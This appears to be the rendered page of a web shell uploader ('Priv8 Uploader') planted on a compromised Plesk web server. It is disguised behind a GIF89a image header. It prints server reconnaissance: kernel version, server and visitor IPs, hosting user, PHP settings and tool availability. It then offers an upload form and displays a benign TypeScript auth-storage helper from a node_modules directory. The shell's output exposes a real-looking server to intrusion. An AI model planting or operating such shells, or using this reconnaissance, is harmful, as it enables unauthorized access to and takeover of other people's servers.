GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/api/ |
Upload File : |
/**
* Auth provider storage helper.
*
* Gives auth provider routes access to plugin-style storage collections
* namespaced under `auth:<providerId>`. Reuses the existing `_plugin_storage`
* table and `PluginStorageRepository` infrastructure.
*/
import type { Kysely } from "kysely";
import type { Database } from "../database/types.js";
import { createStorageAccess } from "../plugins/context.js";
import type { StorageCollection, StorageCollectionConfig } from "../plugins/types.js";
/**
* Get storage collections for an auth provider.
*
* Returns a record of `StorageCollection` instances, one per declared
* collection in the provider's `storage` config. Data is stored in the
* shared `_plugin_storage` table under the namespace `auth:<providerId>`.
*
* @example
* ```ts
* const storage = getAuthProviderStorage(emdash.db, "atproto", {
* states: { indexes: [] },
* sessions: { indexes: [] },
* });
* const session = await storage.sessions.get(sessionId);
* ```
*/
export function getAuthProviderStorage(
db: Kysely<Database>,
providerId: string,
storageConfig: Record<string, StorageCollectionConfig>,
): Record<string, StorageCollection> {
return createStorageAccess(db, `auth:${providerId}`, storageConfig);
}